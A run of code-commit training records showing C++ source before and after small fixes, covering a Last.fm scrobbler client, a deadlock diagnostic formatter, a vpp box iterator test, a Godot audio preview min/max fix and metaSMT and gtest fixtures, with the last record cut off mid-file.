status=\\\"failed\\\">\") != std::string::npos) {\n\teprintf(\"%s%s\", \"Last.fm returned an error while (un)loving the currently playing track:\\n\", _response.c_str());\n\tif(CheckFailure(_response))\n\t    Failure();\n    }\n\n    CLEANUP();\n    return retval;\n}\n\nbool CAudioScrobbler::SendNowPlaying(const Song& song)\n{\n    bool retval = false;\n\n    char* artist = curl_easy_escape(_handle, song.getArtist().c_str(), 0);\n    char* title = curl_easy_escape(_handle, song.getTitle().c_str(), 0);\n    char* album = song.getAlbum().empty() ? 0 : curl_easy_escape(_handle, song.getAlbum().c_str(), 0);\n\n    std::ostringstream query, sig;\n    query << \"method=track.updateNowPlaying&track=\" << title\n\t<< \"&artist=\" << artist\n\t<< \"&duration=\" << song.getDuration()\n\t<< \"&api_key=\" << APIKEY\n\t<< \"&sk=\" << _sessionid;\n    if(album) {\n\tquery << \"&album=\" << album;\n\tsig << \"album\" << song.getAlbum();\n    }\n\n    curl_free(artist);\n    curl_free(title);\n    curl_free(album);\n\n    sig << \"api_key\" << APIKEY\n\t<< \"artist\" << song.getArtist()\n\t<< \"duration\" << song.getDuration()\n\t<< \"methodtrack.updateNowPlaying\"\n\t<< \"sk\" << _sessionid\n\t<< \"track\" << song.getTitle()\n\t<< SECRET;\n\n    std::string sighash(md5sum((char*)\"%s\", sig.str().c_str()));\n\n    query << \"&api_sig=\" << sighash;\n\n    OpenURL(GetServiceURL(), query.str().c_str());\n\n    if(_response.find(\"<lfm status=\\\"ok\\\">\") != std::string::npos) {\n\tiprintf(\"%s\", \"Updated \\\"Now Playing\\\" status successfully.\");\n\tretval = true;\n    }\n    else if(_response.find(\"<lfm status=\\\"failed\\\">\") != std::string::npos) {\n\teprintf(\"%s%s\", \"Last.fm returned an error while updating the currently playing track:\\n\", _response.c_str());\n\tif(CheckFailure(_response))\n\t    Failure();\n    }\n\n    CLEANUP();\n    return retval;\n}\n\nvoid CAudioScrobbler::Handshake()\n{\n    std::string username=\"\";\n    for(unsigned int i = 0; i < Config->getLUsername().length(); i++) {\n\tusername.append(1, tolower(Config->getLUsername().c_str()[i]));\n    }\n    std::string authtoken(md5sum((char*)\"%s%s\", username.c_str(), Config->getLPassword().c_str()));\n\n    std::ostringstream query, sig;\n    query << \"method=auth.getMobileSession&username=\" << username << \"&authToken=\" << authtoken << \"&api_key=\" << APIKEY;\n\n    sig << \"api_key\" << APIKEY << \"authToken\" << authtoken << \"methodauth.getMobileSessionusername\" << username << SECRET;\n    std::string sighash(md5sum((char*)\"%s\", sig.str().c_str()));\n\n    query << \"&api_sig=\" << sighash;\n\n    OpenURL(GetServiceURL(), query.str().c_str());\n\n    if(_response.find(\"<lfm status=\\\"ok\\\">\") != std::string::npos) {\n\tsize_t start, end;\n\tstart = _response.find(\"<key>\") + 5;\n\tend = _response.find(\"<\/key>\");\n\t_sessionid = _response.substr(start, end-start);\n\tiprintf(\"%s%s\", \"Last.fm handshake successful. SessionID: \", _sessionid.c_str());\n\t_authed = true;\n    }\n    else if(_response.find(\"<lfm status=\\\"failed\\\">\") != std::string::npos) {\n\tCheckFailure(_response);\n\texit(EXIT_FAILURE);\n    }\n\n    CLEANUP();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * This file implements the `d2\/sandbox\/deadlock_diagnostic.hpp` header.\n *\/\n\n#define D2_SOURCE\n#include <d2\/sandbox\/deadlock_diagnostic.hpp>\n\n#include <boost\/assert.hpp>\n#include <boost\/format.hpp>\n#include <boost\/range\/adaptor\/transformed.hpp>\n#include <boost\/spirit\/include\/karma.hpp>\n#include <iostream>\n#include <string>\n\n\nnamespace d2 {\nnamespace sandbox {\n\nstd::string DeadlockDiagnostic::format_step(AcquireStreak const& streak) {\n    BOOST_ASSERT_MSG(streak.locks.size() == 2,\n        \"we should only be supporting 2 locks right now, \"\n        \"update this function otherwise\");\n    return (boost::format(\"thread %1% acquired %2%, ..., %3%\")\n            % streak.thread.thread_id\n            % streak.locks[0].lock_id\n            % streak.locks[1].lock_id\n            ).str();\n}\n\nstd::string DeadlockDiagnostic::format_explanation(AcquireStreak const&streak){\n    BOOST_ASSERT_MSG(streak.locks.size() >= 2,\n        \"can't format an acquire streak with less than 2 acquisitions\");\n    return (boost::format(\"thread %1% acquires %2% and waits for %3%\")\n            % streak.thread.thread_id\n            % streak.locks.front().lock_id\n            % streak.locks.back().lock_id\n            ).str();\n}\n\nstd::ostream& operator<<(std::ostream& os, DeadlockDiagnostic const& self) {\n    namespace karma = boost::spirit::karma;\n    using namespace boost::adaptors;\n\n    os << karma::format(karma::string % \"\\nwhile \"\n        , self.steps_ | transformed(DeadlockDiagnostic::format_step))\n\n       << \"\\n\\nwhich creates a deadlock if\\n\"\n\n       << karma::format((karma::string) % '\\n'\n        , self.steps_ | transformed(DeadlockDiagnostic::format_explanation));\n    return os;\n}\n\n} \/\/ end namespace sandbox\n} \/\/ end namespace d2\n<commit_msg>Remove redundant parenthesis.<commit_after>\/**\n * This file implements the `d2\/sandbox\/deadlock_diagnostic.hpp` header.\n *\/\n\n#define D2_SOURCE\n#include <d2\/sandbox\/deadlock_diagnostic.hpp>\n\n#include <boost\/assert.hpp>\n#include <boost\/format.hpp>\n#include <boost\/range\/adaptor\/transformed.hpp>\n#include <boost\/spirit\/include\/karma.hpp>\n#include <iostream>\n#include <string>\n\n\nnamespace d2 {\nnamespace sandbox {\n\nstd::string DeadlockDiagnostic::format_step(AcquireStreak const& streak) {\n    BOOST_ASSERT_MSG(streak.locks.size() == 2,\n        \"we should only be supporting 2 locks right now, \"\n        \"update this function otherwise\");\n    return (boost::format(\"thread %1% acquired %2%, ..., %3%\")\n            % streak.thread.thread_id\n            % streak.locks[0].lock_id\n            % streak.locks[1].lock_id\n            ).str();\n}\n\nstd::string DeadlockDiagnostic::format_explanation(AcquireStreak const&streak){\n    BOOST_ASSERT_MSG(streak.locks.size() >= 2,\n        \"can't format an acquire streak with less than 2 acquisitions\");\n    return (boost::format(\"thread %1% acquires %2% and waits for %3%\")\n            % streak.thread.thread_id\n            % streak.locks.front().lock_id\n            % streak.locks.back().lock_id\n            ).str();\n}\n\nstd::ostream& operator<<(std::ostream& os, DeadlockDiagnostic const& self) {\n    namespace karma = boost::spirit::karma;\n    using namespace boost::adaptors;\n\n    os << karma::format(karma::string % \"\\nwhile \"\n        , self.steps_ | transformed(DeadlockDiagnostic::format_step))\n\n       << \"\\n\\nwhich creates a deadlock if\\n\"\n\n       << karma::format(karma::string % '\\n'\n        , self.steps_ | transformed(DeadlockDiagnostic::format_explanation));\n    return os;\n}\n\n} \/\/ end namespace sandbox\n} \/\/ end namespace d2\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <vpp\/core\/boxNd.hh>\n\nint main()\n{\n  using vpp::boxNd_iterator;\n  using vpp::box2d;\n  using vpp::vint2;\n\n\n  box2d b(vint2(10,5), vint2(12,7));\n\n  auto it = b.begin();\n\n  assert(vint2(it) == vint2(10, 5));\n  it.next();\n  assert(*it == vint2(10, 6));\n  it.next();\n  assert(*it == vint2(10, 7));\n  it.next();\n  assert(*it == vint2(11, 5));\n  it.next();\n  assert(*it == vint2(11, 6));\n  it.next();\n  assert(*it == vint2(11, 7));\n  it.next();\n  assert(*it == vint2(12, 5));\n  it.next();\n  assert(*it == vint2(12, 6));\n  it.next();\n  assert(*it == vint2(12, 7));\n  it.next();\n  assert(it == b.end());\n\n  vint2 ref[] = {\n    vint2(10, 5),\n    vint2(10, 6),\n    vint2(10, 7),\n    vint2(11, 5),\n    vint2(11, 6),\n    vint2(11, 7),\n    vint2(12, 5),\n    vint2(12, 6),\n    vint2(12, 7)\n  };\n\n  int i = 0;\n  for (auto p : b) assert(p == ref[i++]);\n}\n<commit_msg>Fix boxNd test.<commit_after>#include <iostream>\n#include <vpp\/core\/boxNd.hh>\n\nint main()\n{\n  using vpp::boxNd_iterator;\n  using vpp::box2d;\n  using vpp::vint2;\n\n\n  box2d b(vint2(10,5), vint2(12,7));\n\n  auto it = b.begin();\n\n  assert(*it == vint2(10, 5));\n  it.next();\n  assert(*it == vint2(10, 6));\n  it.next();\n  assert(*it == vint2(10, 7));\n  it.next();\n  assert(*it == vint2(11, 5));\n  it.next();\n  assert(*it == vint2(11, 6));\n  it.next();\n  assert(*it == vint2(11, 7));\n  it.next();\n  assert(*it == vint2(12, 5));\n  it.next();\n  assert(*it == vint2(12, 6));\n  it.next();\n  assert(*it == vint2(12, 7));\n  it.next();\n  assert(it == b.end());\n\n  vint2 ref[] = {\n    vint2(10, 5),\n    vint2(10, 6),\n    vint2(10, 7),\n    vint2(11, 5),\n    vint2(11, 6),\n    vint2(11, 7),\n    vint2(12, 5),\n    vint2(12, 6),\n    vint2(12, 7)\n  };\n\n  int i = 0;\n  for (auto p : b) assert(p == ref[i++]);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\/\n\/*  audio_stream_preview.cpp                                             *\/\n\/*************************************************************************\/\n\/*                       This file is part of:                           *\/\n\/*                           GODOT ENGINE                                *\/\n\/*                      https:\/\/godotengine.org                          *\/\n\/*************************************************************************\/\n\/* Copyright (c) 2007-2019 Juan Linietsky, Ariel Manzur.                 *\/\n\/* Copyright (c) 2014-2019 Godot Engine contributors (cf. AUTHORS.md)    *\/\n\/*                                                                       *\/\n\/* Permission is hereby granted, free of charge, to any person obtaining *\/\n\/* a copy of this software and associated documentation files (the       *\/\n\/* \"Software\"), to deal in the Software without restriction, including   *\/\n\/* without limitation the rights to use, copy, modify, merge, publish,   *\/\n\/* distribute, sublicense, and\/or sell copies of the Software, and to    *\/\n\/* permit persons to whom the Software is furnished to do so, subject to *\/\n\/* the following conditions:                                             *\/\n\/*                                                                       *\/\n\/* The above copyright notice and this permission notice shall be        *\/\n\/* included in all copies or substantial portions of the Software.       *\/\n\/*                                                                       *\/\n\/* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,       *\/\n\/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF    *\/\n\/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*\/\n\/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY  *\/\n\/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,  *\/\n\/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE     *\/\n\/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.                *\/\n\/*************************************************************************\/\n\n#include \"audio_stream_preview.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nfloat AudioStreamPreview::get_length() const {\n\treturn length;\n}\nfloat AudioStreamPreview::get_max(float p_time, float p_time_next) const {\n\n\tif (length == 0)\n\t\treturn 0;\n\n\tint max = preview.size() \/ 2;\n\tint time_from = p_time \/ length * max;\n\tint time_to = p_time_next \/ length * max;\n\ttime_from = CLAMP(time_from, 0, max - 1);\n\ttime_to = CLAMP(time_to, 0, max - 1);\n\n\tif (time_to <= time_from) {\n\t\ttime_to = time_from + 1;\n\t}\n\n\tuint8_t vmax = 0;\n\n\tfor (int i = time_from; i < time_to; i++) {\n\n\t\tuint8_t v = preview[i * 2 + 1];\n\t\tif (i == 0 || v > vmax) {\n\t\t\tvmax = v;\n\t\t}\n\t}\n\n\treturn (vmax \/ 255.0) * 2.0 - 1.0;\n}\nfloat AudioStreamPreview::get_min(float p_time, float p_time_next) const {\n\n\tif (length == 0)\n\t\treturn 0;\n\n\tint max = preview.size() \/ 2;\n\tint time_from = p_time \/ length * max;\n\tint time_to = p_time_next \/ length * max;\n\ttime_from = CLAMP(time_from, 0, max - 1);\n\ttime_to = CLAMP(time_to, 0, max - 1);\n\n\tif (time_to <= time_from) {\n\t\ttime_to = time_from + 1;\n\t}\n\n\tuint8_t vmin = 0;\n\n\tfor (int i = time_from; i < time_to; i++) {\n\n\t\tuint8_t v = preview[i * 2];\n\t\tif (i == 0 || v < vmin) {\n\t\t\tvmin = v;\n\t\t}\n\t}\n\n\treturn (vmin \/ 255.0) * 2.0 - 1.0;\n}\n\nAudioStreamPreview::AudioStreamPreview() {\n\tlength = 0;\n}\n\n\/\/\/\/\n\nvoid AudioStreamPreviewGenerator::_update_emit(ObjectID p_id) {\n\temit_signal(\"preview_updated\", p_id);\n}\n\nvoid AudioStreamPreviewGenerator::_preview_thread(void *p_preview) {\n\n\tPreview *preview = (Preview *)p_preview;\n\n\tfloat muxbuff_chunk_s = 0.25;\n\n\tint mixbuff_chunk_frames = AudioServer::get_singleton()->get_mix_rate() * muxbuff_chunk_s;\n\n\tVector<AudioFrame> mix_chunk;\n\tmix_chunk.resize(mixbuff_chunk_frames);\n\n\tint frames_total = AudioServer::get_singleton()->get_mix_rate() * preview->preview->length;\n\tint frames_todo = frames_total;\n\n\tpreview->playback->start();\n\n\twhile (frames_todo) {\n\n\t\tint ofs_write = uint64_t(frames_total - frames_todo) * uint64_t(preview->preview->preview.size() \/ 2) \/ uint64_t(frames_total);\n\t\tint to_read = MIN(frames_todo, mixbuff_chunk_frames);\n\t\tint to_write = uint64_t(to_read) * uint64_t(preview->preview->preview.size() \/ 2) \/ uint64_t(frames_total);\n\t\tto_write = MIN(to_write, (preview->preview->preview.size() \/ 2) - ofs_write);\n\n\t\tpreview->playback->mix(mix_chunk.ptrw(), 1.0, to_read);\n\n\t\tfor (int i = 0; i < to_write; i++) {\n\t\t\tfloat max = -1000;\n\t\t\tfloat min = 1000;\n\t\t\tint from = uint64_t(i) * to_read \/ to_write;\n\t\t\tint to = uint64_t(i + 1) * to_read \/ to_write;\n\t\t\tto = MIN(to, to_read);\n\t\t\tfrom = MIN(from, to_read - 1);\n\t\t\tif (to == from) {\n\t\t\t\tto = from + 1;\n\t\t\t}\n\n\t\t\tfor (int j = from; j < to; j++) {\n\n\t\t\t\tmax = MAX(max, mix_chunk[j].l);\n\t\t\t\tmax = MAX(max, mix_chunk[j].r);\n\n\t\t\t\tmin = MIN(min, mix_chunk[j].l);\n\t\t\t\tmin = MIN(min, mix_chunk[j].r);\n\t\t\t}\n\n\t\t\tuint8_t pfrom = CLAMP((min * 0.5 + 0.5) * 255, 0, 255);\n\t\t\tuint8_t pto = CLAMP((max * 0.5 + 0.5) * 255, 0, 255);\n\n\t\t\tpreview->preview->preview.write[(ofs_write + i) * 2 + 0] = pfrom;\n\t\t\tpreview->preview->preview.write[(ofs_write + i) * 2 + 1] = pto;\n\t\t}\n\n\t\tframes_todo -= to_read;\n\t\tsingleton->call_deferred(\"_update_emit\", preview->id);\n\t}\n\n\tpreview->playback->stop();\n\n\tpreview->generating = false;\n}\n\nRef<AudioStreamPreview> AudioStreamPreviewGenerator::generate_preview(const Ref<AudioStream> &p_stream) {\n\tERR_FAIL_COND_V(p_stream.is_null(), Ref<AudioStreamPreview>());\n\n\tif (previews.has(p_stream->get_instance_id())) {\n\t\treturn previews[p_stream->get_instance_id()].preview;\n\t}\n\n\t\/\/no preview exists\n\n\tpreviews[p_stream->get_instance_id()] = Preview();\n\n\tPreview *preview = &previews[p_stream->get_instance_id()];\n\tpreview->base_stream = p_stream;\n\tpreview->playback = preview->base_stream->instance_playback();\n\tpreview->generating = true;\n\tpreview->id = p_stream->get_instance_id();\n\n\tfloat len_s = preview->base_stream->get_length();\n\tif (len_s == 0) {\n\t\tlen_s = 60 * 5; \/\/five minutes\n\t}\n\n\tint frames = AudioServer::get_singleton()->get_mix_rate() * len_s;\n\n\tVector<uint8_t> maxmin;\n\tint pw = frames \/ 20;\n\tmaxmin.resize(pw * 2);\n\t{\n\t\tuint8_t *ptr = maxmin.ptrw();\n\t\tfor (int i = 0; i < pw * 2; i++) {\n\t\t\tptr[i] = 127;\n\t\t}\n\t}\n\n\tpreview->preview.instance();\n\tpreview->preview->preview = maxmin;\n\tpreview->preview->length = len_s;\n\n\tif (preview->playback.is_valid())\n\t\tpreview->thread = Thread::create(_preview_thread, preview);\n\n\treturn preview->preview;\n}\n\nvoid AudioStreamPreviewGenerator::_bind_methods() {\n\tClassDB::bind_method(\"_update_emit\", &AudioStreamPreviewGenerator::_update_emit);\n\tClassDB::bind_method(D_METHOD(\"generate_preview\", \"stream\"), &AudioStreamPreviewGenerator::generate_preview);\n\n\tADD_SIGNAL(MethodInfo(\"preview_updated\", PropertyInfo(Variant::INT, \"obj_id\")));\n}\n\nAudioStreamPreviewGenerator *AudioStreamPreviewGenerator::singleton = NULL;\n\nvoid AudioStreamPreviewGenerator::_notification(int p_what) {\n\tif (p_what == NOTIFICATION_PROCESS) {\n\t\tList<ObjectID> to_erase;\n\t\tfor (Map<ObjectID, Preview>::Element *E = previews.front(); E; E = E->next()) {\n\t\t\tif (!E->get().generating) {\n\t\t\t\tif (E->get().thread) {\n\t\t\t\t\tThread::wait_to_finish(E->get().thread);\n\t\t\t\t\tE->get().thread = NULL;\n\t\t\t\t}\n\t\t\t\tif (!ObjectDB::get_instance(E->key())) { \/\/no longer in use, get rid of preview\n\t\t\t\t\tto_erase.push_back(E->key());\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\twhile (to_erase.front()) {\n\t\t\tpreviews.erase(to_erase.front()->get());\n\t\t\tto_erase.pop_front();\n\t\t}\n\t}\n}\n\nAudioStreamPreviewGenerator::AudioStreamPreviewGenerator() {\n\tsingleton = this;\n\tset_process(true);\n}\n<commit_msg>Fix audio previews, closes #25979<commit_after>\/*************************************************************************\/\n\/*  audio_stream_preview.cpp                                             *\/\n\/*************************************************************************\/\n\/*                       This file is part of:                           *\/\n\/*                           GODOT ENGINE                                *\/\n\/*                      https:\/\/godotengine.org                          *\/\n\/*************************************************************************\/\n\/* Copyright (c) 2007-2019 Juan Linietsky, Ariel Manzur.                 *\/\n\/* Copyright (c) 2014-2019 Godot Engine contributors (cf. AUTHORS.md)    *\/\n\/*                                                                       *\/\n\/* Permission is hereby granted, free of charge, to any person obtaining *\/\n\/* a copy of this software and associated documentation files (the       *\/\n\/* \"Software\"), to deal in the Software without restriction, including   *\/\n\/* without limitation the rights to use, copy, modify, merge, publish,   *\/\n\/* distribute, sublicense, and\/or sell copies of the Software, and to    *\/\n\/* permit persons to whom the Software is furnished to do so, subject to *\/\n\/* the following conditions:                                             *\/\n\/*                                                                       *\/\n\/* The above copyright notice and this permission notice shall be        *\/\n\/* included in all copies or substantial portions of the Software.       *\/\n\/*                                                                       *\/\n\/* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,       *\/\n\/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF    *\/\n\/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*\/\n\/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY  *\/\n\/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,  *\/\n\/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE     *\/\n\/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.                *\/\n\/*************************************************************************\/\n\n#include \"audio_stream_preview.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nfloat AudioStreamPreview::get_length() const {\n\treturn length;\n}\nfloat AudioStreamPreview::get_max(float p_time, float p_time_next) const {\n\n\tif (length == 0)\n\t\treturn 0;\n\n\tint max = preview.size() \/ 2;\n\tint time_from = p_time \/ length * max;\n\tint time_to = p_time_next \/ length * max;\n\ttime_from = CLAMP(time_from, 0, max - 1);\n\ttime_to = CLAMP(time_to, 0, max - 1);\n\n\tif (time_to <= time_from) {\n\t\ttime_to = time_from + 1;\n\t}\n\n\tuint8_t vmax = 0;\n\n\tfor (int i = time_from; i < time_to; i++) {\n\n\t\tuint8_t v = preview[i * 2 + 1];\n\t\tif (i == 0 || v > vmax) {\n\t\t\tvmax = v;\n\t\t}\n\t}\n\n\treturn (vmax \/ 255.0) * 2.0 - 1.0;\n}\nfloat AudioStreamPreview::get_min(float p_time, float p_time_next) const {\n\n\tif (length == 0)\n\t\treturn 0;\n\n\tint max = preview.size() \/ 2;\n\tint time_from = p_time \/ length * max;\n\tint time_to = p_time_next \/ length * max;\n\ttime_from = CLAMP(time_from, 0, max - 1);\n\ttime_to = CLAMP(time_to, 0, max - 1);\n\n\tif (time_to <= time_from) {\n\t\ttime_to = time_from + 1;\n\t}\n\n\tuint8_t vmin = 255;\n\n\tfor (int i = time_from; i < time_to; i++) {\n\n\t\tuint8_t v = preview[i * 2];\n\t\tif (i == 0 || v < vmin) {\n\t\t\tvmin = v;\n\t\t}\n\t}\n\n\treturn (vmin \/ 255.0) * 2.0 - 1.0;\n}\n\nAudioStreamPreview::AudioStreamPreview() {\n\tlength = 0;\n}\n\n\/\/\/\/\n\nvoid AudioStreamPreviewGenerator::_update_emit(ObjectID p_id) {\n\temit_signal(\"preview_updated\", p_id);\n}\n\nvoid AudioStreamPreviewGenerator::_preview_thread(void *p_preview) {\n\n\tPreview *preview = (Preview *)p_preview;\n\n\tfloat muxbuff_chunk_s = 0.25;\n\n\tint mixbuff_chunk_frames = AudioServer::get_singleton()->get_mix_rate() * muxbuff_chunk_s;\n\n\tVector<AudioFrame> mix_chunk;\n\tmix_chunk.resize(mixbuff_chunk_frames);\n\n\tint frames_total = AudioServer::get_singleton()->get_mix_rate() * preview->preview->length;\n\tint frames_todo = frames_total;\n\n\tpreview->playback->start();\n\n\twhile (frames_todo) {\n\n\t\tint ofs_write = uint64_t(frames_total - frames_todo) * uint64_t(preview->preview->preview.size() \/ 2) \/ uint64_t(frames_total);\n\t\tint to_read = MIN(frames_todo, mixbuff_chunk_frames);\n\t\tint to_write = uint64_t(to_read) * uint64_t(preview->preview->preview.size() \/ 2) \/ uint64_t(frames_total);\n\t\tto_write = MIN(to_write, (preview->preview->preview.size() \/ 2) - ofs_write);\n\n\t\tpreview->playback->mix(mix_chunk.ptrw(), 1.0, to_read);\n\n\t\tfor (int i = 0; i < to_write; i++) {\n\t\t\tfloat max = -1000;\n\t\t\tfloat min = 1000;\n\t\t\tint from = uint64_t(i) * to_read \/ to_write;\n\t\t\tint to = uint64_t(i + 1) * to_read \/ to_write;\n\t\t\tto = MIN(to, to_read);\n\t\t\tfrom = MIN(from, to_read - 1);\n\t\t\tif (to == from) {\n\t\t\t\tto = from + 1;\n\t\t\t}\n\n\t\t\tfor (int j = from; j < to; j++) {\n\n\t\t\t\tmax = MAX(max, mix_chunk[j].l);\n\t\t\t\tmax = MAX(max, mix_chunk[j].r);\n\n\t\t\t\tmin = MIN(min, mix_chunk[j].l);\n\t\t\t\tmin = MIN(min, mix_chunk[j].r);\n\t\t\t}\n\n\t\t\tuint8_t pfrom = CLAMP((min * 0.5 + 0.5) * 255, 0, 255);\n\t\t\tuint8_t pto = CLAMP((max * 0.5 + 0.5) * 255, 0, 255);\n\n\t\t\tpreview->preview->preview.write[(ofs_write + i) * 2 + 0] = pfrom;\n\t\t\tpreview->preview->preview.write[(ofs_write + i) * 2 + 1] = pto;\n\t\t}\n\n\t\tframes_todo -= to_read;\n\t\tsingleton->call_deferred(\"_update_emit\", preview->id);\n\t}\n\n\tpreview->playback->stop();\n\n\tpreview->generating = false;\n}\n\nRef<AudioStreamPreview> AudioStreamPreviewGenerator::generate_preview(const Ref<AudioStream> &p_stream) {\n\tERR_FAIL_COND_V(p_stream.is_null(), Ref<AudioStreamPreview>());\n\n\tif (previews.has(p_stream->get_instance_id())) {\n\t\treturn previews[p_stream->get_instance_id()].preview;\n\t}\n\n\t\/\/no preview exists\n\n\tpreviews[p_stream->get_instance_id()] = Preview();\n\n\tPreview *preview = &previews[p_stream->get_instance_id()];\n\tpreview->base_stream = p_stream;\n\tpreview->playback = preview->base_stream->instance_playback();\n\tpreview->generating = true;\n\tpreview->id = p_stream->get_instance_id();\n\n\tfloat len_s = preview->base_stream->get_length();\n\tif (len_s == 0) {\n\t\tlen_s = 60 * 5; \/\/five minutes\n\t}\n\n\tint frames = AudioServer::get_singleton()->get_mix_rate() * len_s;\n\n\tVector<uint8_t> maxmin;\n\tint pw = frames \/ 20;\n\tmaxmin.resize(pw * 2);\n\t{\n\t\tuint8_t *ptr = maxmin.ptrw();\n\t\tfor (int i = 0; i < pw * 2; i++) {\n\t\t\tptr[i] = 127;\n\t\t}\n\t}\n\n\tpreview->preview.instance();\n\tpreview->preview->preview = maxmin;\n\tpreview->preview->length = len_s;\n\n\tif (preview->playback.is_valid())\n\t\tpreview->thread = Thread::create(_preview_thread, preview);\n\n\treturn preview->preview;\n}\n\nvoid AudioStreamPreviewGenerator::_bind_methods() {\n\tClassDB::bind_method(\"_update_emit\", &AudioStreamPreviewGenerator::_update_emit);\n\tClassDB::bind_method(D_METHOD(\"generate_preview\", \"stream\"), &AudioStreamPreviewGenerator::generate_preview);\n\n\tADD_SIGNAL(MethodInfo(\"preview_updated\", PropertyInfo(Variant::INT, \"obj_id\")));\n}\n\nAudioStreamPreviewGenerator *AudioStreamPreviewGenerator::singleton = NULL;\n\nvoid AudioStreamPreviewGenerator::_notification(int p_what) {\n\tif (p_what == NOTIFICATION_PROCESS) {\n\t\tList<ObjectID> to_erase;\n\t\tfor (Map<ObjectID, Preview>::Element *E = previews.front(); E; E = E->next()) {\n\t\t\tif (!E->get().generating) {\n\t\t\t\tif (E->get().thread) {\n\t\t\t\t\tThread::wait_to_finish(E->get().thread);\n\t\t\t\t\tE->get().thread = NULL;\n\t\t\t\t}\n\t\t\t\tif (!ObjectDB::get_instance(E->key())) { \/\/no longer in use, get rid of preview\n\t\t\t\t\tto_erase.push_back(E->key());\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\twhile (to_erase.front()) {\n\t\t\tpreviews.erase(to_erase.front()->get());\n\t\t\tto_erase.pop_front();\n\t\t}\n\t}\n}\n\nAudioStreamPreviewGenerator::AudioStreamPreviewGenerator() {\n\tsingleton = this;\n\tset_process(true);\n}\n<|endoftext|>"}
{"text":"<commit_before>#define BOOST_TEST_MODULE direct_SWORD\n#include <metaSMT\/DirectSolver_Context.hpp>\n#include <metaSMT\/API\/Group.hpp>\n#include <metaSMT\/backend\/SWORD_Backend.hpp>\n\nusing namespace metaSMT::solver;\nusing namespace metaSMT;\nstruct Solver_Fixture {\n  typedef DirectSolver_Context< Group < SWORD_Backend > > ContextType;\n  ContextType ctx ;\n};\n\n#include \"test_solver.cpp\"\n#include \"test_QF_BV.cpp\"\n\/\/#include \"test_Array.cpp\"\n#include \"test_group.cpp\" \n#include \"test_unsat.cpp\"\n#include \"test_fmi.cpp\"\n#include \"test_cardinality.cpp\"\n#include \"test_optimization.cpp\"\n<commit_msg>added Stack to direct_SWORD to fix compiler error with test_optimizations<commit_after>#define BOOST_TEST_MODULE direct_SWORD\n#include <metaSMT\/DirectSolver_Context.hpp>\n#include <metaSMT\/API\/Group.hpp>\n#include <metaSMT\/API\/Stack.hpp>\n#include <metaSMT\/backend\/SWORD_Backend.hpp>\n\nusing namespace metaSMT::solver;\nusing namespace metaSMT;\nstruct Solver_Fixture {\n  typedef DirectSolver_Context< Stack < Group < SWORD_Backend > > > ContextType;\n  ContextType ctx ;\n};\n\n#include \"test_solver.cpp\"\n#include \"test_QF_BV.cpp\"\n\/\/#include \"test_Array.cpp\"\n#include \"test_group.cpp\" \n#include \"test_unsat.cpp\"\n#include \"test_fmi.cpp\"\n#include \"test_cardinality.cpp\"\n#include \"test_optimization.cpp\"\n<|endoftext|>"}
{"text":"<commit_before>#include <gtest\/gtest.h>\n#include <gmock\/gmock.h>\n#include <boost\/filesystem.hpp>\n#include <fstream>\n#include <memory>\n#include \"tasks\/internal\/dump_dir_task.h\"\n\nnamespace fs = boost::filesystem;\n\nclass exists_task_test : public ::testing::Test\n{\nprotected:\n\tfs::path root;\n\tfs::path target;\n\tstd::shared_ptr<dump_dir_task> task;\n\tstd::shared_ptr<task_metadata> task_meta;\n\n\tvirtual void SetUp()\n\t{\n\t\ttarget = fs::temp_directory_path() \/ fs::unique_path();\n\t\tfs::create_directory(target);\n\n\t\troot = fs::temp_directory_path() \/ fs::unique_path();\n\t\tfs::create_directory(root);\n\t\tfs::create_directory(root \/ \"subdir\");\n\n\t\tcreate_file(root \/ \"file_a\", 2048);\n\t\tcreate_file(root \/ \"file_b\", 4096);\n\t\tcreate_file(root \/ \"subdir\" \/ \"file_c\", 1536);\n\n\t\ttask_meta = std::make_shared<task_metadata>();\n\t\ttask_meta->cmd_args = {root.string(), (target \/ \"dir\").string(), \"16384\"};\n\t\ttask = std::make_shared<dump_dir_task>(1, task_meta);\n\t}\n\n\tvirtual void TearDown()\n\t{\n\t\tfs::remove_all(root);\n\t\tfs::remove(root);\n\t\tfs::remove_all(target);\n\t\tfs::remove(target);\n\t}\n\n\tvoid create_file(const fs::path &path, std::size_t size)\n\t{\n\t\tstd::ofstream f(path.string());\n\t\tfor (std::size_t i = 0; i < size; i++) { f << \"a\"; }\n\t\tf.close();\n\t}\n};\n\nTEST_F(exists_task_test, everything_fits)\n{\n\tauto results = task->run();\n\tASSERT_EQ(task_status::OK, results->status) << \"Failed with: \" + results->error_message;\n\n\tASSERT_TRUE(fs::exists(target \/ \"dir\" \/ \"file_a\"));\n\tASSERT_TRUE(fs::exists(target \/ \"dir\" \/ \"file_b\"));\n\tASSERT_TRUE(fs::exists(target \/ \"dir\" \/ \"subdir\" \/ \"file_c\"));\n}\n\nTEST_F(exists_task_test, 